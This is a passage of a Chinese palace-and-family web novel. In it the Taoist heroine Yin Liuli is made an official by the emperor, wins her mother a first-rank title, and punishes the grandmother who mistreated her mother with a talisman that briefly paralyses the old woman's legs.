……
殷琉璃第一次进宫。
先被甄氏和金嬷嬷按在梳妆镜前好好打扮了一番,又被宫里来的嬷嬷叮嘱了许多规矩。
一路被人领着,走进了一座装饰的金碧辉煌的便殿。
便殿居中的座位上,皇帝高高在上端坐。
五十虽左右年纪,身穿一袭明黄的龙袍,面阔额隆,一双眸子深邃如渊,不怒自威的皇者之气萦绕周身。
果然是天子之威!
“殷琉璃拜见圣上。”
殷琉璃并不怯,只按照宫里嬷嬷教的跪下磕头行礼。
“孙儿拜见皇外祖!”
话音未落,身后就传来了一个清贵的声音,顾瑾焱走到她身边跪下,偷偷冲殷琉璃狡黠的眨眼。
殷琉璃给了他一个询问的眼神:你怎么也来了?
顾瑾焱得意的挑眉:怕你一个人孤单,过来陪你。
殷琉璃冲他撇嘴:我才不要你陪!
见皇帝而已,她又不怕。
不过,顾瑾焱站在她身边,殷琉璃心头无形中涌上一抹暖意。
“平身。”
圣上脸上带着一丝笑意,“你就是殷镜堂的长女?朝露观妖道之案就是你破的?”
殷琉璃点了点头,“顾瑾焱说大理寺这件案子蹊跷,臣女只是出手相助,略尽绵力。”
顾瑾焱恭敬的说,
“皇外祖,若不是她一卦算出阿允的方位,又将几件事情联系起来,大破妖道阵法,这案子只大理寺的话绝对破不了!”
圣上饶有兴致的打量着殷琉璃,
“听焱儿说你道术超绝?”
殷琉璃轻描淡写的说,“臣女自幼被殷家抛弃,幸得师父捡回道冠,跟随师父学了些道术。”
圣上咦了一声,“有你这般聪慧的女儿,殷镜堂竟会舍得扔了?”
殷琉璃抬了抬下巴,冷声道,
“他非但丢弃臣女,还冷落抛弃我母亲,停妻再娶,让我母亲受了十二年的苦楚!”
“你应该知道殷镜堂被朝中众臣**之事吧?”
圣上深邃的眸子里闪过一抹意外,似笑非笑的说,
“京城孩童失踪之事闹的人心惶惶,百姓寝食难安,你帮大理寺破了这桩案子,替朕安抚民心。
朕本想赐你一个天恩,只要你肯开口,朕会酌情免去你殷侯府的重罚,你意下如何?”
殷琉璃冷笑一声道,
“臣女谢圣上恩赏,只是不用了!我与殷镜堂早就断了父女关系,他做了什么违法乱纪的事情,一切他自己承担!”
圣上饶有兴致道,“你这丫头,小小年纪倒是有主意的很!
既然你不肯求情,那你想要什么,朕都赏给你!”
“谢圣上,为民除害是臣女应该做的,不用什么赏赐。”
殷琉璃想了想,一脸认真的说。
顾瑾焱唇边蓦地勾起一抹笑意,
“皇外祖,儿臣就说她性子与寻常女子不同吧,您还不信?”
圣上哈哈大笑起来,摆摆手说,
“越是这样,朕倒越要赏赐你些什么了!不过朕也有件事求你,不知你能否答应?”
殷琉璃奇怪的眨了眨眼,
“圣上,您可是九五至尊,天之骄子,坐拥天下,您还有事求我?”
圣上意味深长的笑道,“先说你要朕赏赐什么!”
“皇外租,她想不出来,儿臣倒是想到一个好的。”
顾瑾焱俊美的脸上闪过一抹笑意,抢着说,“琉璃与母亲分别多年,她心里最看重的就是母亲!
莫若圣上格外开恩,封甄氏一品诰命夫人,以此尊荣,就算他日殷侯府犯下何等罪责,也不会被牵连。”
殷琉璃眼睛不由一亮,惊喜的看着顾瑾焱。
顾瑾焱的话一下子说到了她的心坎儿上!
她虽不知道一品诰命夫人是何等身份,但能不被殷侯府牵连,以后娘还能在那些名门望族的夫人中不低人一头,娘一定很高兴的!
“你这小子,别以为朕不知道你这是在假公济私!你们两个可是朕亲自指婚!”
圣上装模作样的责备了一声,
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摆了摆手道,“好,就如焱而所请!来人,传朕旨意,赐封甄氏为一品诰命夫人。
琉璃丫头,你满意了?那能不能答应下朕的事情?”
“臣女谢圣上大恩!”
殷琉璃跪下谢恩后,歪着头看他,“圣上,您到底有什么要求我的呀?”
圣上被她满脸不解的娇俏神情逗的哈哈大笑,
“琉璃,你一身本事,精通道法,实在是难得一见的人才!
朕要你进大理寺任大理寺寺卿佐使,与焱儿一同替朕处理那些非同寻常的案子,你意下如何?”
话音一落,顾瑾焱俊美的脸上露出一抹意外,欲言又止。
圣上看了朝露观的卷宗,对殷琉璃大为赞赏,话里话外透着些不寻常的意思。
**这位心思缜密的圣上作何打算,这才不请自来。
却没想到圣上出其不意,要让殷琉璃去管那些非常的案子!
殷琉璃皱了皱眉,
“大理寺寺卿佐使,是什么官儿?
怎么还要与顾瑾焱一起?
圣上,臣女要是做了这个,是不是就成了顾瑾焱的下属了?”
怎么感觉被这个皇帝老头套路了?
顾瑾焱幽深的眸子里带着一抹笑意,声线清朗的说,
“倒不是我的下属,是周青公周大人的下属。
大理寺寺卿掌管大理寺一应事物,你是他的佐使,我自有我的事情要做,你只是与我携手而已。”
不是他的下属,倒是可以!
她渡天劫本就要多积累些功德,帮大理寺破案,就能积累下很多功德,对她来说是件好事。
殷琉璃想了想,便答应了下来,
“只要不是顾瑾焱的下属,那臣女愿意!”
圣上笑呵呵的看着她,
“答应的这么爽快?琉璃,我朝自始至今,从来没有女子入朝为官,你可是朕破格钦点的第一个!
你不怕身为女子,以后会招来众多非议吗?”
殷琉璃挑了挑眉,“这有什么好怕的?世上还有女子做威风凛凛的女将军!
她人能做将军,琉璃为何不能做第一个女官!”
“好!说的好!小小年纪竟有如此胆色,朕没有看错你!”
圣上龙颜大悦,朗声喝道,“来人,替朕拟旨,封殷琉璃为大理寺寺卿佐使,即刻上任!”
第77章 拷问
“天恩浩荡,殷佐使,还不快磕头谢恩?”
圣上身边儿那位老公公笑眯眯的恭维,“老奴活了这么大,还是头一遭瞧见女佐使呢!
也就是咱们圣上英明决断,不拘一格唯才是举,大昶之国运必将越发兴盛!”
“臣女谢恩。”
殷琉璃磕了个头,洁白如瓷的脸上露出一抹笑容。
倒不是为了做官高兴。
下山前师父一再叮嘱她要多做功德积累福报,多一分福报在身,便多一分扛过天劫的希望。
去大理寺查案既能救人,也能为自己积攒福报,倒是不错。
若是福德足够深厚,说不定就不用嫁顾瑾焱,借他的七煞命格渡劫了!
看她露出纯真的笑容,顾瑾焱眸中却闪过一抹复杂的情绪。
他当然知道有殷琉璃在,自己如虎添翼。
可那天和无崖子交战让他至今都还在后怕,那些案子诡谲多变,万一遇到更厉害的妖道、方士……
顾瑾焱不敢多想。
私心来说,他宁愿殷琉璃什么都不做,娶回家安安心心做他的世子妃就行!
……
出了便殿,殷琉璃瞧见顾瑾焱眉宇间隐隐缠着一丝郁色,不觉问道,
“我们以后就是同僚了,你怎么不高兴?”
殷琉璃还不知事情险恶,可圣意已决,他能做到的只有以后加上万分的小心,护着殷琉璃!
“没有……哪有不高兴?”
顾瑾焱瞬间恢复了往日的轻佻,斜眸看着她挑眉,“这么关心我,怎的?想让我快些娶你过门?”
殷琉璃抬了抬手指,冲他嗤了一声,
“皮又痒了是不是?”
顾瑾焱假模假样的挡了一下,一脸“幽怨”的叹气,
“我只是在想,你本来就凶巴巴的,圣上再提携你,以后娶回去我还有好日子过吗?”
“你说谁凶巴巴的!”
殷琉璃脸颊蓦地一红,轻轻呸了下说,“谁要嫁给你了?”
……
圣旨晚些才到,回了府,殷琉璃迫不及待想把好消息告诉娘。
“娘!娘!”
她兴冲冲跑进凤栖梧,清铃般的嗓音远远就喊,“人呢?”
殷菊快步迎了上来,扑克牌般板正的脸上带着一抹担忧,
“小姐,夫人被殷老夫人叫过去了,奴婢几个想拦着,夫人不肯。
不过阿竹和金嬷嬷跟了过去,在院外候着。”
殷琉璃不由皱眉,
“老夫人最瞧不上我娘,叫她去做什么!”
她来不及卸下一身的华服珠宝,拎起裙角速速往老夫人的院子里要人。
老夫人院子大门紧闭,外面还有两个小厮守着。
金嬷嬷和阿竹看见她赶紧迎接上来,脸色紧张不安,
“大姑娘,夫人被老夫人叫进去半天了,也不知说些什么!”
“他们拦着不让我们跟进去!没有小姐的吩咐,阿竹不敢擅闯!”
“不管说些什么,指定没憋什么好屁!”
殷琉璃冷声道,“金嬷嬷,阿竹,你们跟我一起进去要人!”
“小人见过大小姐。”
守门的小厮将他们拦在门外,警惕的陪笑道,
“不知大小姐前来何事,老夫人吩咐今日不见人。”
殷琉璃冷冷道,“让开。”
小厮挡着门,眼神闪烁的说,
“小人、小人也是听老夫人命令,大小姐别为难小人……”
“我们小姐说让开,你耳朵聋了!”
话音未落,殷梅殷兰上前揪住两个小厮的衣领,扑通两声将人甩在一旁。
殷梅上前推门,竟发现里面上了门闩,扭头道,
“小姐……”
殷琉璃眸光一凛,毫不客气的吩咐,“踹开。”
殷梅抬起一脚重重的踹在门上,咣当一声将朱红色大门踹飞了出去。
殷琉璃踩着红色大门,大踏步走了进去!
院子里的丫鬟仆妇满脸震惊。
回过神儿来,众人惊慌失措的上前拦着她,
“这可是老夫人的院子!大小姐,您怎么把门给踹了?”
“大小姐,老夫人吩咐过您不能进去!”
“有什么吩咐,奴婢替您去通传老夫人……”
……
殷琉璃一把推开面前的丫鬟,声色冷厉,“让开!”
不等吩咐,殷梅几人已经闯在她身前,将涌过来的众人推开,给殷琉璃让出一条路。
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走近,老夫人的屋子里传出众人的声音,
“甄氏,我好话与你说尽,你倒是蹬鼻子上脸了?”
“我说大嫂,咱家老夫人什么时候这般求过人?你怎么能这么不知好歹呢!”
“是呀大嫂,说到底也是为了大哥好!你不帮着自己的丈夫,反倒要害他,这算什么?”
……
一众尖酸刻薄的说话声中,夹杂着甄氏隐忍的抽泣,
“老夫人,我不能……琉璃做任何决定,我都听,我只听我女儿的!”
殷琉璃听明白了,这些人兴师动众,是要让娘劝她帮殷镜堂脱罪!
“砰!”
殷琉璃一脚踹开房门,正看见,老夫人双眉倒竖,脸色铁青的呵斥,
“我给你脸了是不是!你想敬酒不吃吃罚酒不成?
你以为有那个臭丫头撑腰,我就不敢动你!
甄氏,别忘了你是我殷家的媳妇儿,我殷家家法规矩还管不了你了!”
说到恨处,她抓起茶碗狠狠冲甄氏的面门砸了过去,
“说话!我给你脸了是不是!”
“住手!”
殷琉璃一声怒喝,手指一翻,将一道灵光精准的击中茶碗。
“哗啦”
茶碗炸裂,碎了满地。
甄氏跪在地上,身子微颤抖。
看到她的一瞬间,那张满是泪水的脸瞬间又涌出泪来。
众人吃惊的站了起来,你看我我看你,脸上都带上一丝紧张的神色。
“大姑娘……你、你怎么来了?”
三房夫人遮掩着脸上的惊慌,露出一脸假笑上前,挡住她的视线,
“你不是进宫去了吗?听闻圣上封赏,没、没赏你晚膳?
对对,还以为圣上要赏宴给你,老夫人这不就把各房人叫来陪她说话……”
“说话?还是拷问!”
殷琉璃冷冷凝了她一眼,“让开!”
三房夫人心里慌了一下,结巴的说,“那个……大姑娘别误会,刚才大嫂跟老夫人拌了几句嘴,把老夫人惹恼了,这才……”
她的话还没说完,殷梅已经抬手将她从殷琉璃的面前推开,面色冷肃道,
“我们小姐说,让开!”
第78章 全府出来大门口接旨
“哪儿来的臭丫头!还有没有规矩了,你敢推我?”
三房夫人被推了个趔趄,顿时把脸一沉,抬手对着殷梅的脸就要掌掴。
自从王氏出事,老夫人就把管家权交给了三房夫人。
她如今可是老夫人跟前的红人,被一个丫鬟推了都不还手,以后在各房面前还怎么树威风!
“我的人,你也敢动!”
殷琉璃两道刀光般的眸光划,冲殷梅抬起下巴,“阿梅,谁敢动你一根手指头,还以十倍!”
“是,小姐!”
殷梅习惯性的绷着脸,眼中却忽然闪过一抹感动。
做暗卫这么多年,她只知道听主人的命令行事,还从来没人这么护着过她。
三房夫人几乎把手指头戳到殷梅的脸上,满脸愠怒到,
“大姑娘,都像你这么教导奴婢,我殷侯府以后还不人人都敢以下犯上,无法无天了!”
殷琉璃清冷的眸子里闪过一抹寒芒,
“我就这么教!阿梅,你听着,她再不把指你的手指头放下去,直接撅折!”
“是,小姐!”
殷梅一向未曾扯过的唇角,隐隐的往上扬起。
她瞥过茶桌旁竖着一根打扫用的拂尘,随手绰起,两手一个较劲,只听卡擦一声,鸡毛掸子便被掰成两段。
三房夫人不由自主的打了个哆嗦,赶紧把手指头缩了回去。
“娘,起来。”
殷琉璃扶着甄氏起来,看她踉跄了几下,捂着酸痛的膝盖好容易才站稳,脸色顿时一沉,
“她跪了多久?”
老夫人被那张脸上的寒色吓了一跳,慌乱的说,
“你、你要干什么?我可是你祖母,你还敢跟我动手不成?”
殷琉璃挑了挑眉,“你欺负我娘,我为什么不敢跟你动手?”
“没、没多久。”
甄氏生怕给女儿添麻烦,赶紧殷琉璃的手说,“算了琉璃,我们回去吧。”
殷琉璃皱眉道,“娘,我一时不在,她就敢让你跪,往你身上摔茶碗!
以后若是哪天又瞅见我不在,往你身上打棍子,戳刀子呢?”
甄氏心里蓦地一紧。
殷琉璃冷冷看着老夫人,声线一厉,
“你让你跪了多久,我便要让你瘫多久!”
老夫**惊失色,“什么?你、你敢……”
话音未落,殷琉璃抬手起了一张灵符,射向老夫人的双腿,喝道,
“给我瘫!”
老夫人咕咚一声从贵妃榻上跌了下来,只觉得两条腿突然麻了一下。
双腿仿佛瞬间被抽走了所有的力气,怎么都使不上劲儿。
“腿、我的腿……”
她抓着两条腿惊恐的大叫,“来人!来人呀,我的腿动不了了!”
众人惊慌失措的过来搀扶,可她肥胖的身体沉的跟浸水的棉被一般,怎么扶都扶不起来。
“臭丫头!你给我下了什么邪术?你、你简直大逆不道!”
好容易被人扶上贵妃榻,老夫人拍着两条腿嚎哭,“快给我解开!你要害死我呀,天打雷劈!天打雷劈呀!”
殷琉璃声线冷漠,
“以牙还牙,一次换一次,一次不够那就再来一次!
直到你再见到我娘不敢动她一根寒毛为止!
娘,咱们走!”
屋子里乱成一团,围着老夫人又是揉腿又是哭,可就是没人敢上前拦着殷琉璃。
“大姑娘,你可不能这样,她到底是你祖母!”
二房夫人咬了咬牙,追了两步劝说道,“大嫂,帮着劝劝大姑娘吧!我、我是为琉璃好……
老夫人那样对你是太过分了,可她、她到底是咱们府里的老祖宗。
这事儿要是让人说出去,琉璃就要落个不敬不孝的恶名,以后可是要遭人白眼的!”
她敢来劝说,是因为老夫人跟各房的人逼甄氏的时候,她没说一句不好听的话。
三房和四房为了讨好老夫人,说话尖酸刻薄,难听的要命,她还因为帮了甄氏两句被他俩数落。
甄氏对她心存感激,咬了咬下唇说,
“琉璃,你二婶婶的确是为你着想,她也是好意。
娘怕传出去你的名声不好听,气势刚才老夫人在气头上才会那样……”
“琉璃多谢二婶婶的好意,不过这件事我不会就这么算
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的。”
殷琉璃冲二房夫人行了个礼,又果断摇头,“娘,她每次欺负了你,有人帮着说说情就算了,那她就会以为你原来这么好欺负!
什么名声,是别人嘴里说出来的,与我何干?
我知道欺负你的人知道,以后再想欺负你的时候打量一下自己有没有那个本事!”
话音一落,二房夫人也不敢再说什么了。
只是看着殷琉璃的眼神充满了敬畏,还带上了一抹欣赏的神色。
“你这个不孝子,天打雷劈!天打雷劈呀!
我要告到衙门去,让全京城的人都来看看,我殷家怎么出了你们这种忤逆不孝的人!”
老夫人捂着腿哭天抢地,众人也是急的没法子。
殷琉璃挑了挑眉,“尽管去。娘,我们走。”
出了院子,甄氏略有些苍白的脸涌上一抹愧疚,轻声说,
“琉璃,老夫人叫我过去的时候,只说请了各房过去说话,没说……没说你爹的事儿。
我原想着上次以后她不敢再对我如何,这才去的。
谁知他们商量好了,我一去就旁敲侧击的让我劝你帮你爹,我没有答应。
老夫人见说不通我,这才急了翻脸……”
殷琉璃心疼的看着她,唇边忽然勾起一抹神秘的笑意,
“娘,以后不用我收拾她,她都不会敢再对你怎样!”
……
“启禀老夫人,宫里来了几个太监传圣旨!”
老夫人屋子正乱,一个仆妇急匆匆的进来说话,“那位公公还说了,要通知全府各位主子全都去侯府大门迎接圣旨。”
乱哄哄的气氛突然一寂。
“全府?”
老夫人一愣,顾不上满脸的眼泪鼻涕,吃惊的问,“什么事儿这么严重,要让全府的人出去接旨?”
几房的夫人脸上又惊又怕,急急的问,
“老夫人,不会是大哥真被**劾了吧?”
“要真是大哥出事儿,也跟我们三房没关系呀,干嘛要我们也去接圣旨?”
“先别害怕,应该不是!我家老爷今儿下朝回来还说正在周旋呢……”
……
第79章 给我娘道歉
混乱中,一个嬷嬷满脸着急的说,
“老夫人,您腿还瘫着,怎么出去接旨呀!”
空气一寂,众人瞬间傻眼了。
难道要抬着老夫人出去接旨?
她这副狼狈的样子,还不成了全京城的笑柄?
老夫人脸上一白,指着门大叫,
“还愣着作甚,快、快去把那个臭丫头叫回来,让她给我解开!”
“老夫人,传旨的公公等着呢,来不及了!”
’
二房夫人踌躇着上前劝说道,“儿媳以为,还是让人抬着您去她那儿,好过这一来一去的……让传旨的公公久等怕是不好。”
老夫人咬了咬牙,
“那还不去!”
……
殷琉璃和甄氏换了衣裳,正要出门,就瞧见老夫人黑沉着脸瘫坐在抬轿上,在众人的拥簇下急匆匆赶来。
她唇边勾起一抹冷笑。
“大姑娘!大嫂!”
二房夫人快步上前,小声说,
“你们这是要出去接旨吗?老夫人那儿还瘫着呢,这样出去闹笑话事小,万一让传旨的公公觉得咱们殷侯府不敬,圣上怕是要怪罪的。”
殷琉璃淡淡扫了老夫人一眼,笑着说,
“二婶婶放心,圣上怪罪不到你我头上。”
二房夫人没办法,接着好声好气的哀求,
“老夫人亲自过来,这不已经服软了吗?只怕是拉不下老脸说,这才叫我来替她求姑娘……
就当看在二婶婶的脸面上,大姑娘就别生气了吧。”
“是呀,大姑娘,老夫人知道错了,还请大姑娘高抬贵手。”
四房夫人被老夫人催着上前帮腔,脸上硬生生挤出一抹笑容说,
“宫里的人就在外面等着呢,叫人瞧见咱府里闹成这样不好,大姑娘说是不是?”
殷琉璃哼了一声,
“她知道错了?我可没瞧出来。”
二房夫人从她的话里听出一丝松动,忙说,
“老夫人是真的知道错了!大姑娘不信,你要怎么才能解气,二婶婶替你说去。”
殷琉璃淡淡挑眉,“她真知道错了,就过来给我娘道歉。”
“什么?”
四房夫人吃了一惊,瞠目结舌道,“你要老夫人跟你娘道歉?这成何体统!她怎么说也是……”
话音未落,二房夫人赶紧用眼神制止她,陪笑道,
“老夫人来不就是要跟大嫂道歉的吗!大姑娘,你等着,二婶婶这就跟老夫人说去。”
说罢,她拉着四房夫人一溜烟走了。
“她让我给那个**道歉?简直是妄想!”
老夫人一听,气的满脸铁青,“我是什么身份,她是什么身份?她受得起的道歉!”
她出身名门,从小身份矜贵。
父亲曾是朝中三品大员,上头还有一个哥哥也在吏部任职。
那个甄氏娘家不过是个不值一提的小官,要不是当年看中她嫁妆丰厚,老夫人怎么肯让儿子娶她!
“都火烧眉毛的时候了,老夫人还说这个?”
二房夫人急忙劝道,“我和她四婶婶好说歹说,才哄她松了口,您要是再这样闹,咱们可真没办法了!”
“您再高贵的身份,不还是被人家整瘫了?
不去跟甄大嫂道歉,就爬着出去接旨吧!”
四房夫人拉下脸说,“横竖我跟二嫂好话说尽,我们是管不了了!”
老夫人脸上一片铁青。
丫鬟急忙跑过来催促,
“老夫人,外面的公公着奴婢进来问,什么时候才能出去接旨?
公公说了,他还有旁的要务要去,耽误不起的。”
老夫人心里咯噔一下,顿时黑了脸。
殷琉璃双臂环胸,看着轿子抬着老夫人到自己面前。
“大嫂,之前是我不对,不该那样逼你。
我也是为镜堂着想,一时情急了才……”
老夫人咬了咬牙,顶着一张铁青的脸说,“我跟你道歉,看在我这张老脸上,别往心里去了吧。”
甄氏垂下眸子,“母亲客气了。”
老夫人挣扎着说,
“你、你让琉璃丫头把我的腿解开吧,再不出去对可就是大不敬之罪了!”
甄氏看向殷琉璃。
“再有下次,这两条腿不要了也罢。”
殷琉璃淡淡哼了一声,手指一翻,一道灵光从指缝射到了老夫人的腿上。
她挽起甄氏的臂弯,从老夫人的轿前漠然走过。
老夫人只觉两腿一松,如同解开了束缚一般,立刻就能动了。
她怨毒的眼神扫过甄氏的背影,眼睛里恨的冒出火
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来!
**,
要我这个老夫人给你道歉,你也配!
你不就是仗着那个臭丫头,才敢在我面前得意嘛!
我看你能得意多久!
……
殷侯府大门早已经聚了许多来往的路人,好奇的往里头瞧。
“那个是宫里来的太监吧,听说是来传圣旨的!”
“是呀,还是头一次见传圣旨呢!”
“殷侯府有什么好事儿,要让大伙儿瞧着传旨?”
……
老夫人走前前面,急匆匆的带着各房的夫人小姐迎出大门,那张敷了脂粉的老脸上堆满了笑容,
“公公一向可好?敢问圣上下了什么旨意……”
传旨的公公淡淡扫了她一眼,脸上连个笑容都不带,直往人群里瞅,
“殷大小姐呢,怎么没瞧见她?”
老夫人脸上的笑容顿时僵住,
“给她的圣旨?圣上不是才召见过那丫头嘛……”
传旨的公公摆了摆手,尖尖的声音中带着些阴阳怪气道,
“老夫人管召见谁的,横竖都是圣上的旨意。”
殷琉璃拉着甄氏从人群中出来,上前行礼道,
“琉璃见过公公。”
“殷大小姐客气了。”
传旨的公公换上一副笑脸,又看向甄氏,“这位就是甄氏夫人,老奴给夫人道喜了!”
甄氏本来垂着头,听见问自己,脸上闪过一抹惊讶,
“我?我有什么喜……”
“公公是不是弄错了,她一个……妇道人家,圣上能给她什么旨意?”
老夫人满脸吃惊的上前询问。
几房夫人也脸色各异,悄声嘀咕起来,
“圣上知道甄大嫂?”
“她一向连门都不出,能给她什么旨意?”
“那谁知道……”
……
“行了,既然人都全了,就跪下接旨吧。”
传旨的公公清了清嗓子,从小太监手里的托盘上拿过圣旨,缓缓展开,
“奉天承运皇帝诏曰。
殷侯府殷镜堂之妻甄氏,秉性纯良,克勤克俭,教子有方,朕心甚慰。
惹敕封甄氏为一品诰命夫人,赐一品诰命冠服,以示恩荣。钦此!”
话音一落,殷侯府众人只觉得头上炸开一道雷,无不满脸震惊。
第80章 飞上枝头
连甄氏自己都不敢相信这是真的,呆呆的看着那张明黄色鲜艳的卷轴。
老夫人更是瞠目结舌的看着她,怀疑自己的耳朵听错了。
她刚才还在心里大骂的**,一转眼成了个一品诰命夫人!
她活了这么大岁数,才给自己挣了个三品诰命。
自己岂不是还要给她磕头道喜,以后在各种正式场合都要坐在她的下首处?
老夫人脸色又青变白,又由白变青,恨的差点儿把牙都咬碎了!
“甄夫人,还不快快接旨?”
公公半弯下腰,笑吟吟的说,“恭喜夫人,天恩浩荡,您以后可是飞上枝头做凤凰了!”
“臣妇谢、谢圣上隆恩!”
甄氏连忙磕头,抬起紧张到微微发颤的双手接过圣旨,依然一脸的不可思议,“公公,圣上怎会突然赐我如此殊荣……”
公公笑道,“还不是夫人养的好女儿,您这是托了这孩子的大福了!
琉璃小姐替大理寺破了桩大案子,圣上龙颜大悦,说要赏她什么她都不要。
还是您那位世子爷女婿,亲口帮您求的圣上的恩典呢!”
甄氏心头没有狂喜,只是涌上一抹对女儿的心疼。
她知道圣上召见女儿去封赏,可一点儿也没想到女儿要的赏竟是给她的!
甄氏眼中蒙上了一层雾水,哽咽着嗔怪,
“你这孩子,圣上隆恩,你怎么不求些自己的,替娘求这个做什么……
娘只要你平安就知足了!”
殷琉璃冲她露出一抹娇俏的笑容,
“娘好,琉璃才好。”
大门外,围观接旨的人群像炸开了锅似的哗然,
“这位夫人成了一品诰命夫人,这可是多大的荣耀呀!”
“她是殷侯府那位大小姐的娘?怪不得圣上封她做一品夫人!”
“殷大小姐救了咱们老百姓的孩子,那可是天大的功德!”
“是呀,要不是殷大小姐破了妖道的老巢,不知道还有多少孩子要被抓去炼丹……”
……
殷侯府众人跪在原地,发呆的看着娘俩,各人脸色那叫一个五彩纷呈。
被他们轻视了十几年的甄氏,摇身一变成了一品诰命!
外命妇依靠夫、子在朝中的官阶品级,被圣上封赏诰命夫人并非少见,只是大多封的是三品以下。
二品诰命寥寥无几,一品更是凤**麟角。
满朝廷中,也就宰相夫人与内阁首辅夫人,才获得过一品诰命。
以后在府中,连老夫人见了她都要恭恭敬敬的了!
就在众人惊愕未定时,公公又从小太监手里接过一道圣旨,清了清喉咙道,
“都别愣着了?圣上还有第二道旨意……殷琉璃接旨。
奉天承运皇帝诏曰:殷侯府殷琉璃,聪慧过人,秉性忠毅,智勇双全,协助大理寺破获妖道一案,拯救百姓于水火,安民心于社稷,朕甚赏之。
敕封殷琉璃为大理寺寺卿佐使,大理寺巡查使,特赐官服一套,钦此!”
话音一落,围观的百姓顿时又是一片哗然。
不知是谁突然鼓掌,顷刻间掌声雷动,响彻云霄。
“殷大小姐要去大理寺做官,为咱们老百姓查案!”
“咱们大昶还是头一次有女子为官呢!”
“圣上破格提拔殷大小姐为官,圣上英明!”
……
老百姓们欢呼雀跃,高高的举起拳头疾呼,
“圣上英明!”
殷侯府众人却面面相觑。
头上刚滚过一道雷,谁承想第二道雷劈下来,竟比第一道雷还要震撼!
大理寺寺卿乃是朝廷二品大员,做他身边的佐使,又是巡查使,便是四品的官阶。
若日后再建功绩,说不定就能跟她爹殷镜堂平起平坐了!
这等殊荣若是赏给一个男子也就罢了,圣上竟然赏赐给殷琉璃!
自大昶开国以来,还没有听见过谁家的闺中大小姐入朝为官呢!
“臣女殷琉璃接旨。”
殷琉璃磕了个头,淡然的将圣旨接在手中。
甄氏还没从自己的封赏中缓过神儿来,听到圣上封殷琉璃为官,她整个人都懵了。
大理寺是专查各种悬案、疑案、大案的地方,查案就要涉及到危险,她说不出的担忧。
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殷琉璃知道娘担心,就轻描淡写的说,
“娘,你别担心,我在周青公周大人手底下,不会有什么麻烦的。”
甄氏脸上不知是喜是忧,怔忡的看着她,
“可是……”
……
接了圣旨,宫里的赏赐又陆续的送了过来。
凤栖梧一派喜气洋洋。
金嬷嬷带着院子里所有的下人,跪下给甄氏磕头道喜,
“老奴恭喜夫人!”
金嬷嬷偷偷抹去眼角的泪珠,激动的声音都在颤抖,“夫人苦熬了这么多年,总算守得云开见月明了!老奴心里替夫人高兴!”
“嬷嬷快起来。”
甄氏看着那套依规而制作的庄重华贵的诰命冠服,心里还是感觉跟做梦一般。
殷梅四人也上前磕头,脸上带着从未有过的笑容,
“奴婢们恭喜夫人,恭喜小姐!”
“四位姐姐快起来。”
殷琉璃扶起殷梅,笑嘻嘻的说,“不过是去大理寺而已,有什么好恭喜的……”
“你不能去大理寺!”
话音未落,殷镜堂满是怒火的声音从门外传来。
宰相在朝中联络了七成朝臣,准备联手上书**他,他只能硬着头皮去各同僚府中登门,求着人家放他一马。
吃了无数闭门羹,却听来一个让他眼前一黑的消息:
殷琉璃被圣上破格提拔为大理寺寺卿佐使!
这丫头恨不得看着他抄家流放,要是让她做了朝廷命官,他岂不是死无葬身之地?
听说圣旨就要下到殷侯府了,殷镜堂快马加鞭往回赶。
殷琉璃挑了挑眉,冷冷看向门口,
“我为什么不能做官?”
殷镜堂急匆匆进来,一张脸阴沉如水,
“你说为什么!你一个闺阁之中的小姐,抛头露面去对付什么妖道炼丹也就罢了,竟然还要去大理寺那种地方抛头露面?
于公你一介女流不堪大用,于私你还有几日就要嫁去公主府,这种不容于世的身份,让成懿公主如何看你!”
殷琉璃反唇相讥,“殷侯爷的意思是说,圣上破格提拔我是错的了?”
第81章 休妻?我先休夫!
殷琉璃淡淡瞥了一眼,
“我为什么不能去?”
殷镜堂走的太快,喘了口粗气说,
“我说不能就不能!”
瞧见桌上放着盏茶,他也顾不上什么抄起来就喝。
看殷镜堂灰头土脸的模样,甄氏眼中闪过一抹嫌弃。
金嬷嬷看懂甄氏的脸色,赶紧上前将茶碗接了过来,不咸不淡的说,
“侯爷刚从外面回来,小心凉茶激了喉咙。”
殷镜堂这才发现他喝的是甄氏喝剩的半碗茶。
他在外奔波大半天,喉咙干渴的跟十年没下雨的沙漠一般。
宰相已经联络了朝中七成朝臣,列了他十条罪状,准备联手上书**。
殷镜堂只能硬着头皮去这些朝臣府上拜访,以求周旋,谁知道吃了无数个闭门羹。
正急的心焦,就听见满京城都在传,殷琉璃被圣上破格提拔为大理寺寺卿佐使!
圣旨都送到府里去了。
殷镜堂两眼一黑,差点儿一头从马背上栽下来。
寺卿佐使这位子说高不高,说低可着实不低,若是赐封殷侯府任何一个男丁都是天大的喜事!
可给殷琉璃,分明是要他死无葬身之地。
就因为他从小把她扔了,又冷落她娘,这丫头一回来就把他这个亲爹当仇人看。
好在没几天她就要出嫁了,在府里兴风作浪他还能忍一忍,可要她做了这个佐使,自己以后还有安生日子过吗?
殷镜堂喘了口气,绷起一张脸道,
“你说为什么!你一个闺阁之中的小姐,抛头露面去对付什么妖道炼丹也就罢了,竟然还要去大理寺那种地方抛头露面?
于公你一介女流不堪大用,于私你还有几日就要嫁去公主府,你让成懿公主如何看你!”
“啪”
一声瓷碗碎裂的脆响,金嬷嬷呵斥下人的声音隐约传来,“不长眼的东西!夫人的茶碗你不好好捧着,也敢摔了?”
声音不大,说不出的刺耳。
不聋的都能听出这是在骂谁。
殷镜堂脸上登时一黑,待要发作,想了想又把一肚子的火硬生生咽了回去。
殷琉璃唇边勾起一抹轻笑,
“殷侯爷说了这么多,其实是怪圣上昏庸,破格提拔我是错了?”
殷镜堂心里咯噔一下,脸上多了一抹慌乱,
“别胡说!圣上英明决断,怎么会错?
我说的是你!你何德何能去做寺卿佐使?什么都不懂,能担得起佐使那么重要的职责?”
殷琉璃眸中闪过一抹讥诮,轻飘飘的说,
“这么说来,圣上是识人不明,乱点兵,天下只有你殷镜堂才长了一双慧眼,能看透他人的能力本事?”
“我什么时候这么说过?你、你不要曲解我的意思!”
她字字带刺,句句都把他往沟里带!
万一落了口实,不用等宰相**,就够他死十次八次的了!
殷镜堂额头渗出一层细密的冷汗,硬着头皮道,
“我是你爹,我做什么还不是为你好?你一个年纪轻轻的姑娘家,不过是会些道法术数,哪里又知道朝堂中的诡谲多变?
我不是怕你以后得罪了人,弄不好要把自己害死!”
殷琉璃眼底闪过一抹讥诮,冷笑道,
“侯爷这话,是说给自己听的吧?你自己在朝堂混到要被人联手**就罢了,竟还腆着脸来教训别人,说出去也不怕别人笑话!”
这句话像是一脚踩到了殷镜堂的尾巴尖儿!
他勃然大怒,冲殷琉璃抬起了手,
